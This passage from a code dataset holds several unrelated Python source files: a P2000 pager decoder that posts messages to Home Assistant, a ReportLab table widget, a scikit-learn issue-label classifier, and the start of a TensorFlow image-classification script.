afkortingen data\n self.pltsnmn = load_capcodes_dict(\"db_pltsnmn.txt\")\n\n # Load capcodes ignore data\n self.ignorecapcodes = load_capcodes_filter_dict(\"ignore_capcodes.txt\")\n\n # Load text ignore data\n self.ignoretext = load_list(\"ignore_text.txt\")\n\n # Load match text filter data\n self.matchtext = load_list(\"match_text.txt\")\n\n # Load match capcodes filter data\n self.matchcapcodes = load_capcodes_filter_dict(\"match_capcodes.txt\")\n\n # Start thread to get data from RTL-SDR stick\n data_thread = threading.Thread(target=self.data_thread_call)\n data_thread.start()\n\n # Start thread to post messages to Home Assistant\n post_thread = threading.Thread(target=self.post_thread_call)\n post_thread.start()\n\n # Run the wait loop\n while True:\n try:\n time.sleep(1)\n except KeyboardInterrupt:\n break\n\n # Application is interrupted and is stopping\n self.running = False\n print(\"Application stopped\")\n\n def post_to_homeassistant(self, msg):\n \"\"\"Post data to Home Assistant via Rest API.\"\"\"\n data = {\n \"state\": msg.body,\n \"attributes\": {\n \"time received\": msg.timestamp,\n \"group id\": msg.groupid,\n \"receivers\": msg.receivers,\n \"capcodes\": msg.capcodes,\n \"priority\": msg.priority,\n \"disciplines\": msg.disciplines,\n \"raw message\": msg.message_raw,\n \"region\": msg.region,\n \"location\": msg.location,\n \"postcode\": msg.postcode,\n \"city\": msg.city,\n \"address\": msg.address,\n \"street\": msg.street,\n \"remarks\": msg.remarks,\n },\n }\n\n try:\n headers = {\n \"Authorization\": \"Bearer \" + self.token,\n \"content-type\": \"application/json\",\n }\n\n response = requests.post(\n self.baseurl + \"/api/states/sensor.\" + self.sensorname,\n headers=headers,\n data=json.dumps(\n data, default=lambda o: o.__dict__, sort_keys=True, indent=4\n ),\n )\n response.raise_for_status()\n if self.debug:\n print(f\"POST status: {response.status_code} {response.reason}\")\n print(f\"POST text: {response.text}\")\n except requests.HTTPError:\n print(\n f\"HTTP Error while trying to post data, check your baseurl and token in config.ini: {response.status_code} {response.reason}\"\n )\n except requests.exceptions.SSLError as err:\n print(\n f\"SSL Error occurred while trying to post data, check baseurl in config.ini:\\n{err}\"\n )\n except requests.exceptions.ConnectionError as err:\n print(\n f\"Connection Error occurred while trying to post data, check your baseurl in config.ini:\\n{err}\"\n )\n finally:\n # Mark as posted to prevent race conditions\n msg.is_posted = True\n\n def data_thread_call(self):\n \"\"\"Thread for parsing data from RTL-SDR.\"\"\"\n print(f\"RTL-SDR process started with: {self.rtlfm_cmd}\")\n multimon_ng = subprocess.Popen(\n self.rtlfm_cmd, stdout=subprocess.PIPE, shell=True\n )\n try:\n while self.running:\n # Read line from process\n line = multimon_ng.stdout.readline()\n try:\n line = line.decode(\"utf8\", \"backslashreplace\")\n except UnicodeDecodeError:\n if self.debug:\n print(f\"Error while decoding utf8 string: {line}\")\n line = \"\"\n multimon_ng.poll()\n if line.startswith(\"FLEX\") and line.__contains__(\"ALN\"):\n line_data = line.split(\"|\")\n timestamp = line_data[1]\n groupid = line_data[3].strip()\n capcodes = line_data[4].strip()\n message = line_data[6].strip()\n priority = p2000_get_prio(message)\n location = \"\"\n postcode = \"\"\n city = \"\"\n address = \"\"\n street = \"\"\n\n if self.debug:\n print(line.strip())\n\n # Get address info if any, look for valid postcode and get the two words around them\n # A2 (DIA: ja) AMBU 17106 Schiedamseweg 3134BA Vlaardingen VLAARD bon 8576\n regex_address = r\"(\\w*.) ([1-9][0-9]{3}[a-zA-Z]{2}) (.\\w*)\"\n addr = re.search(regex_address, message)\n if addr:\n street = addr.group(1)\n postcode = addr.group(2)\n city = addr.group(3)\n address = f\"{street} {postcode} {city}\"\n\n # Try to get city only when there is one after a prio\n # A1 Breda\n else:\n regex_prio_loc = r\"(^A\\s?1|\\s?A\\s?2|B\\s?1|^B\\s?2|^B\\s?3|PRIO\\s?1|^P\\s?1|PRIO\\s?2|^P\\s?2) (.\\w*)\"\n loc = re.search(regex_prio_loc, message)\n if loc and loc.group(2) in self.plaatsnamen:\n city = loc.group(2)\n else:\n # Find all uppercase words and check if there is a valid city name amoung them\n # A2 Ambulancepost Moordrecht Middelweg MOORDR V\n regex_afkortingen = \"[A-Z]{2,}\"\n afkortingen = re.findall(regex_afkortingen, message)\n for afkorting in afkortingen:\n if afkorting in self.pltsnmn:\n city = self.pltsnmn[afkorting][\"plaatsnaam\"]\n\n if not check_filter(self.matchtext, message):\n if self.debug:\n print(\n f\"Message '{message}' ignored (didn't match match_text)\")\n else:\n if check_filter(self.ignoretext, message):\n if self.debug:\n print(\n f\"Message '{message}' ignored (matched ignore_text)\")\n else:\n # There can be several capcodes in one message\n ignore = False\n for capcode in capcodes.split(\" \"):\n # Apply filter\n if not capcode in self.matchcapcodes and self.matchcapcodes:\n if self.debug:\n print(\n f\"Message '{message}' ignored (didn't match match_capcodes)\"\n )\n ignore = True\n break\n if capcode in self.ignorecapcodes and self.ignorecapcodes:\n if self.debug:\n print(\n f\"Message '{message}' to '{capcode}' ignored (capcode in ignore_capcodes)\"\n )\n ignore = True\n break\n\n if not ignore:\n for capcode in capcodes.split(\" \"):\n # Get data from capcode, if exist\n if capcode in self.capcodes:\n receiver = \"{} ({})\".format(\n self.capcodes[capcode][\"description\"], capcode\n )\n discipline = \"{} ({})\".format(\n self.capcodes[capcode][\"discipline\"], capcode\n )\n region = self.capcodes[capcode][\"region\"]\n location = self.capcodes[capcode][\"location\"]\n remark = self.capcodes[capcode][\"remark\"]\n else:\n receiver = capcode\n discipline = \"\"\n region = \"\"\n remark = \"\"\n \n # If this message was already received, only add extra info\n if len(self.messages) > 0 and self.messages[0].body == message:\n if self.messages[0].receivers == \"\":\n self.messages[0].receivers = receiver\n elif receiver:\n self.messages[0].receivers += \", \" + receiver\n \n if self.messages[0].disciplines == \"\":\n self.messages[0].disciplines = discipline\n elif discipline:\n self.messages[0].disciplines += \", \" + discipline\n if self.messages[0].remarks == \"\":\n self.messages[0].remarks = remark\n elif remark:\n self.messages[0].remarks += \", \" + remark\n\n self.messages[0].capcodes.append(capcode)\n self.messages[0].location = location\n self.messages[0].postcode = postcode\n self.messages[0].city = city\n self.messages[0].street = street\n self.messages[0].address = address\n else:\n msg = MessageItem()\n msg.groupid = groupid\n msg.receivers = receiver\n msg.capcodes = [capcode]\n msg.body = message\n msg.message_raw = line.strip()\n msg.disciplines = discipline\n msg.priority = priority\n msg.region = region\n msg.location = location\n msg.postcode = postcode\n msg.city = city\n msg.street = street\n msg.address = address\n msg.remarks = remark\n msg.timestamp = to_local_datetime(timestamp)\n msg.is_posted = False\n self.messages.insert(0, msg)\n\n # Limit the message list size\n if len(self.messages) > 100:\n self.messages = self.messages[:100]\n\n except KeyboardInterrupt:\n os.kill(multimon_ng.pid, 9)\n\n if self.debug:\n print(\"Data thread stopped\")\n\n # Thread for posting data to Home Assistant\n def post_thread_call(self):\n \"\"\"Thread for posting data.\"\"\"\n if self.debug:\n print(\"Post thread started\")\n while True:\n if self.running is False:\n break\n\n now = time.monotonic()\n for msg in self.messages:\n if msg.is_posted is False and now - msg.timereceived >= 1.0:\n self.post_to_homeassistant(msg)\n time.sleep(1.0)\n if self.debug:\n print(\"Post thread stopped\")\n\n\n# Start application\nMain()\n", "sub_path": "p2000.py", "file_name": "p2000.py", "file_ext": "py", "file_size_in_byte": 20061, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "time.monotonic", "line_number": 29, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 48, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 72, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 73, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 85, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 86, "usage_type": "attribute"}, {"api_name": "fnmatch.fnmatch", "line_number": 182, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 190, "usage_type": "call"}, {"api_name": "time.ctime", "line_number": 191, "usage_type": "call"}, {"api_name": "calendar.timegm", "line_number": 191, "usage_type": "call"}, {"api_name": "re.search", "line_number": 203, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 203, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 205, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 205, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 207, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 207, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 209, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path", "line_number": 224, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 224, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 229, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 261, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 265, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 271, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 307, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 310, "usage_type": "call"}, {"api_name": "requests.HTTPError", "line_number": 318, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 322, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 326, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 337, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 338, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 370, "usage_type": "call"}, {"api_name": "re.search", "line_number": 381, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 388, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 488, "usage_type": "call"}, {"api_name": "time.monotonic", "line_number": 502, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 506, "usage_type": "call"}]} {"seq_id": "219281893", "text": "#!/usr/bin/env python\n#Copyright ReportLab Europe Ltd. 2000-2017\n#see license.txt for license details\n#history http://www.reportlab.co.uk/cgi-bin/viewcvs.cgi/public/reportlab/trunk/reportlab/graphics/widgets/grids.py\n__version__='3.3.0'\n\nfrom reportlab.graphics.widgetbase import Widget\nfrom reportlab.graphics.charts.textlabels import Label\nfrom reportlab.graphics import shapes\nfrom reportlab.lib import colors\nfrom reportlab.lib.validators import *\nfrom reportlab.lib.attrmap import *\n\nfrom reportlab.graphics.shapes import Drawing\n\nclass TableWidget(Widget):\n \"\"\"A two dimensions table of labels\n \"\"\"\n\n _attrMap = AttrMap(\n x = AttrMapValue(isNumber, desc=\"x position of left edge of table\"),\n y = AttrMapValue(isNumber, desc=\"y position of bottom edge of table\"),\n width = AttrMapValue(isNumber, desc=\"table width\"),\n height = AttrMapValue(isNumber, desc=\"table height\"),\n borderStrokeColor = AttrMapValue(isColorOrNone, desc=\"table border color\"),\n fillColor = AttrMapValue(isColorOrNone, desc=\"table fill color\"),\n borderStrokeWidth = AttrMapValue(isNumber, desc=\"border line width\"),\n horizontalDividerStrokeColor = AttrMapValue(isColorOrNone, desc=\"table inner horizontal lines color\"),\n verticalDividerStrokeColor = AttrMapValue(isColorOrNone, desc=\"table inner vertical lines color\"),\n horizontalDividerStrokeWidth = AttrMapValue(isNumber, desc=\"table inner horizontal lines width\"),\n verticalDividerStrokeWidth = AttrMapValue(isNumber, desc=\"table inner vertical lines width\"),\n dividerDashArray = AttrMapValue(isListOfNumbersOrNone, desc='Dash array for dividerLines.'),\n data = AttrMapValue(None, desc=\"a list of list of strings to be displayed in the cells\"),\n boxAnchor = AttrMapValue(isBoxAnchor, desc=\"location of the table anchoring point\"),\n fontName = AttrMapValue(isString, desc=\"text font in the table\"),\n fontSize = AttrMapValue(isNumber, desc=\"font size of the table\"),\n fontColor = AttrMapValue(isColorOrNone, desc=\"font color\"),\n alignment = AttrMapValue(OneOf(\"left\", \"right\"), desc=\"Alignment of text within cells\"),\n textAnchor = AttrMapValue(OneOf('start','middle','end','numeric'), desc=\"Alignment of text within cells\"),\n )\n\n def __init__(self, x=10, y=10, **kw):\n\n self.x = x\n self.y = y\n self.width = 200\n self.height = 100\n self.borderStrokeColor = colors.black\n self.fillColor = None\n self.borderStrokeWidth = 0.5\n self.horizontalDividerStrokeColor = colors.black\n self.verticalDividerStrokeColor = colors.black\n self.horizontalDividerStrokeWidth = 0.5\n self.verticalDividerStrokeWidth = 0.25\n self.dividerDashArray = None\n self.data = [['North','South','East','West'],[100,110,120,130],['A','B','C','D']] # list of rows each row is a list of columns\n self.boxAnchor = 'nw'\n #self.fontName = None\n self.fontSize = 8\n self.fontColor = colors.black\n self.alignment = 'right'\n self.textAnchor = 'start'\n\n\n for k, v in kw.items():\n if k in list(self.__class__._attrMap.keys()):\n setattr(self, k, v)\n else:\n raise ValueError('invalid argument supplied for class %s'%self.__class__)\n\n def demo(self):\n \"\"\" returns a sample of this widget with data\n \"\"\"\n d = Drawing(400, 200)\n t = TableWidget()\n d.add(t, name='table')\n d.table.dividerDashArray = (1, 3, 2)\n d.table.verticalDividerStrokeColor = None\n d.table.borderStrokeWidth = 0\n d.table.borderStrokeColor = colors.red\n return d\n\n def draw(self):\n \"\"\" returns a group of shapes\n \"\"\"\n g = shapes.Group()\n\n #overall border and fill\n if self.borderStrokeColor or self.fillColor: # adds border and filling color\n rect = shapes.Rect(self.x, self.y, self.width, self.height)\n rect.fillColor = self.fillColor\n rect.strokeColor = self.borderStrokeColor\n rect.strokeWidth = self.borderStrokeWidth\n g.add(rect)\n\n #special case - for an empty table we want to avoid divide-by-zero\n data = self.preProcessData(self.data)\n rows = len(self.data)\n cols = len(self.data[0])\n #print \"(rows,cols)=(%s, %s)\"%(rows,cols)\n row_step = self.height / float(rows)\n col_step = self.width / float(cols)\n #print \"(row_step,col_step)=(%s, %s)\"%(row_step,col_step)\n # draw the grid\n if self.horizontalDividerStrokeColor:\n for i in range(rows): # make horizontal lines\n x1 = self.x\n x2 = self.x + self.width\n y = self.y + row_step*i\n #print 'line (%s, %s), (%s, %s)'%(x1, y, x2, y)\n line = shapes.Line(x1, y, x2, y)\n line.strokeDashArray = self.dividerDashArray\n line.strokeWidth = self.horizontalDividerStrokeWidth\n line.strokeColor = self.horizontalDividerStrokeColor\n g.add(line)\n if self.verticalDividerStrokeColor:\n for i in range(cols): # make vertical lines\n x = self.x+col_step*i\n y1 = self.y\n y2 = self.y + self.height\n #print 'line (%s, %s), (%s, %s)'%(x, y1, x, y2)\n line = shapes.Line(x, y1, x, y2)\n line.strokeDashArray = self.dividerDashArray\n line.strokeWidth = self.verticalDividerStrokeWidth\n line.strokeColor = self.verticalDividerStrokeColor\n g.add(line)\n\n # since we plot data from down up, we reverse the list\n self.data.reverse()\n for (j, row) in enumerate(self.data):\n y = self.y + j*row_step + 0.5*row_step - 0.5 * self.fontSize\n for (i, datum) in enumerate(row):\n if datum:\n x = self.x + i*col_step + 0.5*col_step\n s = shapes.String(x, y, str(datum), textAnchor=self.textAnchor)\n s.fontName = self.fontName\n s.fontSize = self.fontSize\n s.fillColor = self.fontColor\n g.add(s)\n return g\n\n def preProcessData(self, data):\n \"\"\"preprocess and return a new array with at least one row\n and column (use a None) if needed, and all rows the same\n length (adding Nones if needed)\n\n \"\"\"\n if not data:\n return [[None]]\n #make all rows have similar number of cells, append None when needed\n max_row = max( [len(x) for x in data] )\n for rowNo, row in enumerate(data):\n if len(row) < max_row:\n row.extend([None]*(max_row-len(row)))\n return data\n\n#test\nif __name__ == '__main__':\n d = TableWidget().demo()\n import os\n d.save(formats=['pdf'],outDir=os.getcwd(),fnRoot=None)\n", "sub_path": "Pdf_docx_pptx_xlsx_epub_png/source/reportlab/graphics/widgets/table.py", "file_name": "table.py", "file_ext": "py", "file_size_in_byte": 7000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "reportlab.graphics.widgetbase.Widget", "line_number": 16, "usage_type": "name"}, {"api_name": "reportlab.lib.colors.black", "line_number": 48, "usage_type": "attribute"}, {"api_name": "reportlab.lib.colors", "line_number": 48, "usage_type": "name"}, {"api_name": "reportlab.lib.colors.black", "line_number": 51, "usage_type": "attribute"}, {"api_name": "reportlab.lib.colors", "line_number": 51, "usage_type": "name"}, {"api_name": "reportlab.lib.colors.black", "line_number": 52, "usage_type": "attribute"}, {"api_name": "reportlab.lib.colors", "line_number": 52, "usage_type": "name"}, {"api_name": "reportlab.lib.colors.black", "line_number": 60, "usage_type": "attribute"}, {"api_name": "reportlab.lib.colors", "line_number": 60, "usage_type": "name"}, {"api_name": "reportlab.graphics.shapes.Drawing", "line_number": 74, "usage_type": "call"}, {"api_name": "reportlab.lib.colors.red", "line_number": 80, "usage_type": "attribute"}, {"api_name": "reportlab.lib.colors", "line_number": 80, "usage_type": "name"}, {"api_name": "reportlab.graphics.shapes.Group", "line_number": 86, "usage_type": "call"}, {"api_name": "reportlab.graphics.shapes", "line_number": 86, "usage_type": "name"}, {"api_name": "reportlab.graphics.shapes.Rect", "line_number": 90, "usage_type": "call"}, {"api_name": "reportlab.graphics.shapes", "line_number": 90, "usage_type": "name"}, {"api_name": "reportlab.graphics.shapes.Line", "line_number": 111, "usage_type": "call"}, {"api_name": "reportlab.graphics.shapes", "line_number": 111, "usage_type": "name"}, {"api_name": "reportlab.graphics.shapes.Line", "line_number": 122, "usage_type": "call"}, {"api_name": "reportlab.graphics.shapes", "line_number": 122, "usage_type": "name"}, {"api_name": "reportlab.graphics.shapes.String", "line_number": 135, "usage_type": "call"}, {"api_name": "reportlab.graphics.shapes", "line_number": 135, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 161, "usage_type": "call"}]} {"seq_id": "438312547", "text": "from __future__ import print_function\n\nimport json\nimport pandas\nimport sys\n\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.svm import LinearSVC\n\n# TITLE_WEIGHT 1 BODY_WEIGHT 0 gives good, fast results\n# TITLE_WEIGHT 1 BODY_WEIGHT 1 gives baseline results\n# TITTLE_WEIGHT 1000 BODY_WEIGHT 1 gives best results (but slow) might be coincidence\n\nUSE_HIGHEST_PROBABILITY_IF_EMPTY = False # if True, will always predict its guess for most likely label\nPRINT_SCORE_PREDICTIONS = False # print the actual and predicted labels when scoring\n\nTITLE_WEIGHT = 1 # how many times the title is replicated in the training data\nBODY_WEIGHT = 1 # how many times the body is replicated in the training data\nTRAINING_SEED = None # use int for repeatable results. Use NONE to truly randomize the test/train split\n\nBEST_GUESS_PREFIX = '* '\n\nVECTORIZER = TfidfVectorizer()\nCLASSIFIER = OneVsRestClassifier(LinearSVC())\nPIPELINE = Pipeline([\n ('vectorizer', VECTORIZER),\n ('clf', CLASSIFIER)\n])\nLABEL_VALUES = []\n\ndef _process_key(obj, key):\n val = obj[key]\n val = val.replace(',', ' ')\n val = val.replace('\\n', ' ')\n val = val.replace('\\r', ' ')\n return val\n\ndef load_json(src):\n \"\"\" Dispense with CSV format \"\"\"\n json_data = None\n all_labels = set()\n transformed = []\n\n with open(src) as f:\n json_data = json.load(f)\n\n # build master labels set\n for record in json_data:\n labels = set(record['Labels'])\n for label in labels:\n all_labels.add(label)\n\n # now build up the transformed data\n for record in json_data:\n title = _process_key(record, 'Title')\n body = _process_key(record, 'Body')\n text = ('{} '.format(title) * TITLE_WEIGHT) + ('{} '.format(body) * BODY_WEIGHT)\n new_record = {\n '_id': record['Id'],\n '_text': text,\n }\n for label in all_labels:\n new_record[label] = label in record['Labels']\n transformed.append(new_record)\n\n df = pandas.read_json(path_or_buf=json.dumps(transformed), orient='records')\n return df\n\ndef split_data(x, y, test_split=0.5, random_state=None):\n return train_test_split(x, y, test_size=test_split, random_state=random_state)\n\ndef train_classifier(x_train, y_train):\n VECTORIZER.fit(x_train, y_train)\n PIPELINE.fit(x_train, y_train)\n\ndef get_best_guess(decision_array):\n # if no predicted labels, take the highest probability label\n max_label = None\n max_decision = -10\n max_decision_j = 0\n ZERO_BUFFER = 0.05\n for j, val in enumerate(decision_array):\n # don't consider features with probabilities at or near zero?\n if val > max_decision and (val < -ZERO_BUFFER or val > ZERO_BUFFER):\n max_decision = val\n max_decision_j = j\n most_probable_label = LABEL_VALUES[max_decision_j]\n best_guess = '{}{}'.format(BEST_GUESS_PREFIX, most_probable_label)\n return best_guess\n\ndef strip_best_guess(val):\n if val.startswith(BEST_GUESS_PREFIX):\n return val[len(BEST_GUESS_PREFIX):]\n else:\n return val\n\ndef make_prediction(text):\n if not isinstance(text, str):\n TypeError(\"'make_prediction' only designed to work with a single string.\")\n text = pandas.DataFrame({'_id': 0, '_text': text}, index=[0])['_text']\n prediction = PIPELINE.predict(text)[0]\n decision = PIPELINE.decision_function(text)[0]\n\n label_str = ''\n for i, text in enumerate(prediction):\n label_str = label_str + ('{} '.format(LABEL_VALUES[i]) if text else '')\n label_list = sorted(label_str.split())\n if not label_list and USE_HIGHEST_PROBABILITY_IF_EMPTY:\n label_list.append(get_best_guess(decision))\n return label_list\n\ndef score_classifer(x_test, y_test):\n\n X_TEST = x_test\n Y_TEST = y_test\n predicted = PIPELINE.predict(X_TEST)\n decision_values = PIPELINE.decision_function(X_TEST)\n\n total_actual = 0\n total_predicted = 0\n total_best_guess = 0\n true_predicted = 0\n true_best_guess = 0\n true_actual = 0\n\n for i, zip_tuple in enumerate(zip(X_TEST, predicted)):\n item = zip_tuple[0]\n predicted_array = zip_tuple[1]\n decision_array = decision_values[i]\n\n short_item = item[:25]\n label_str = ''\n for j, x in enumerate(predicted_array):\n label_str = label_str + ('{} '.format(LABEL_VALUES[j]) if x else '')\n label_list = sorted(label_str.split())\n\n if not label_list and USE_HIGHEST_PROBABILITY_IF_EMPTY:\n label_list.append(get_best_guess(decision_array))\n\n actual_label_str = ''\n for j, x in enumerate(Y_TEST.values[i]):\n actual_label_str = actual_label_str + ('{} '.format(LABEL_VALUES[j]) if x else '')\n actual_list = sorted(actual_label_str.split())\n\n if PRINT_SCORE_PREDICTIONS:\n print('{} => (P) {}\\t\\t(A) {}'.format(short_item, label_list, actual_list), file=sys.stderr)\n\n for x in label_list:\n if x.startswith(BEST_GUESS_PREFIX):\n x = strip_best_guess(x)\n total_best_guess += 1\n if x in actual_list:\n true_best_guess += 1\n else:\n total_predicted += 1\n if x in actual_list:\n true_predicted += 1\n\n for x in actual_list:\n total_actual += 1\n if x in [strip_best_guess(x) for x in label_list]:\n true_actual += 1\n print('OVERALL: {}/{} ({}%) predicted labels correct'.format(true_predicted, total_predicted, round(100.0 * true_predicted / total_predicted, 2)), file=sys.stderr)\n print(' {}/{} ({}%) predicted labels wrong'.format(total_predicted - true_predicted, total_predicted, round(100.0 * (total_predicted - true_predicted) / total_predicted, 2)), file=sys.stderr)\n if USE_HIGHEST_PROBABILITY_IF_EMPTY:\n print(' {}/{} ({}%) best guess labels correct'.format(true_best_guess, total_best_guess, round(100.0 * true_best_guess / total_best_guess, 2)), file=sys.stderr)\n print(' {}/{} ({}%) best guess labels wrong'.format(total_best_guess - true_best_guess, total_best_guess, round(100.0 * (total_best_guess - true_best_guess) / total_best_guess, 2)), file=sys.stderr)\n print(' {}/{} ({}%) actual labels predicted correctly'.format(true_actual, total_actual, round(100.0 * true_actual / total_actual, 2)), file=sys.stderr)\n print(' {}/{} ({}%) actual labels missed'.format(total_actual - true_actual, total_actual, round(100.0 * (total_actual - true_actual) / total_actual, 2)), file=sys.stderr)\n else:\n print(' {}/{} ({}%) actual labels predicted correctly'.format(true_actual, total_actual, round(100.0 * true_actual / total_actual, 2)), file=sys.stderr)\n print(' {}/{} ({}%) actual labels missed'.format(total_actual - true_actual, total_actual, round(100.0 * (total_actual - true_actual) / total_actual, 2)), file=sys.stderr)\n\ndef analyze_data(df):\n if not isinstance(df, pandas.DataFrame):\n raise TypeError('Expected pandas.DataFrame. Got {}'.format(type(df)))\n\n x_values = df['_text']\n y_values = df.drop(['_id', '_text'], axis=1)\n\n x_train, x_test, y_train, y_test = split_data(x_values, y_values, test_split=0.2, random_state=TRAINING_SEED)\n train_classifier(x_train, y_train)\n score_classifer(x_test, y_test)\n\ndef main(args):\n\n global LABEL_VALUES\n global USE_HIGHEST_PROBABILITY_IF_EMPTY\n\n if len(args) < 2 or len(args) > 3:\n print('Incorrect usage: python multilabel_classifier.py [use_best_guess]', file=sys.stderr)\n sys.exit(1)\n\n model_path = args[0]\n issue_path = args[1]\n try:\n USE_HIGHEST_PROBABILITY_IF_EMPTY = args[2].lower() == 'true'\n except:\n pass\n\n print('** BUILDING MODEL FROM {} **'.format(model_path), file=sys.stderr)\n data = load_json(model_path)\n LABEL_VALUES = [str(x) for x in list(data) if not str(x).startswith('_')]\n analyze_data(data)\n\n issue_json = None\n with open(issue_path) as f:\n issue_json = json.load(f)\n issue_title = issue_json['Title']\n issue_body = issue_json.get('Body', '')\n issue_text = '{} {}'.format(issue_title, issue_body)\n\n predictions = make_prediction(issue_text)\n print('\\nCLASSIFY NEW TEXT:', file=sys.stderr)\n print('\\t{}\\nLABELS:\\n\\t{}'.format(issue_text, predictions), file=sys.stderr)\n return predictions\n\nargs = sys.argv[1:]\npredictions = main(args)\nprint(json.dumps([strip_best_guess(p) for p in predictions]))\nsys.exit(0)\n", "sub_path": "scripts/multilabel_classifier.py", "file_name": "multilabel_classifier.py", "file_ext": "py", "file_size_in_byte": 8769, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.multiclass.OneVsRestClassifier", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 28, "usage_type": "call"}, {"api_name": "json.load", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 69, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 69, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 149, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 166, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 167, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 169, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 170, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 171, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 172, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 174, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 175, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 178, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 194, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 195, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 204, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 211, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 217, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 218, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 221, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 223, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 224, "usage_type": "call"}]} {"seq_id": "294787526", "text": "# See https://colab.research.google.com/github/tensorflow/examples/blob/master/courses/udacity_intro_to_tensorflow_for_deep_learning/l05c01_dogs_vs_cats_without_augmentation.ipynb#scrollTo=oSdjGwVWGshH\n\nimport tensorflow as tf\n\n# Used for working with data on disk to interface with our model.\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport logging\nlogger = tf.get_logger()\nlogger.setLevel(logging.ERROR)\n\nimport pathlib\n\n# Constants\nEPOCHS = 100\nBATCH_SIZE = 100 # Number of training examples to process before updating our models variables\nIMG_SHAPE = 150 # Our training data consists of images with width of 150 pixels and height of 150 pixels\n\ndef create_rgb_image_model() -> tf.keras.models.Sequential :\n model = tf.keras.models.Sequential([\n tf.keras.layers.Conv2D(32, (3,3), activation='relu', input_shape=(150, 150, 3)),\n tf.keras.layers.MaxPooling2D(2, 2),\n\n tf.keras.layers.Conv2D(64, (3,3), activation='relu'),\n tf.keras.layers.MaxPooling2D(2,2),\n \n tf.keras.layers.Conv2D(128, (3,3), activation='relu'),\n tf.keras.layers.MaxPooling2D(2,2),\n \n tf.keras.layers.Conv2D(128, (3,3), activation='relu'),\n tf.keras.layers.MaxPooling2D(2,2),\n \n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(512, activation='relu'),\n tf.keras.layers.Dense(2)\n ])\n\n return model\n\ndef compile_rgb_image_model(model: tf.keras.models.Sequential) -> tf.keras.models.Sequential :\n model.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\n return model\n\ndef visualize_history(history):\n acc = history.history['accuracy']\n val_acc = history.history['val_accuracy']\n\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n\n epochs_range = range(EPOCHS)\n\n 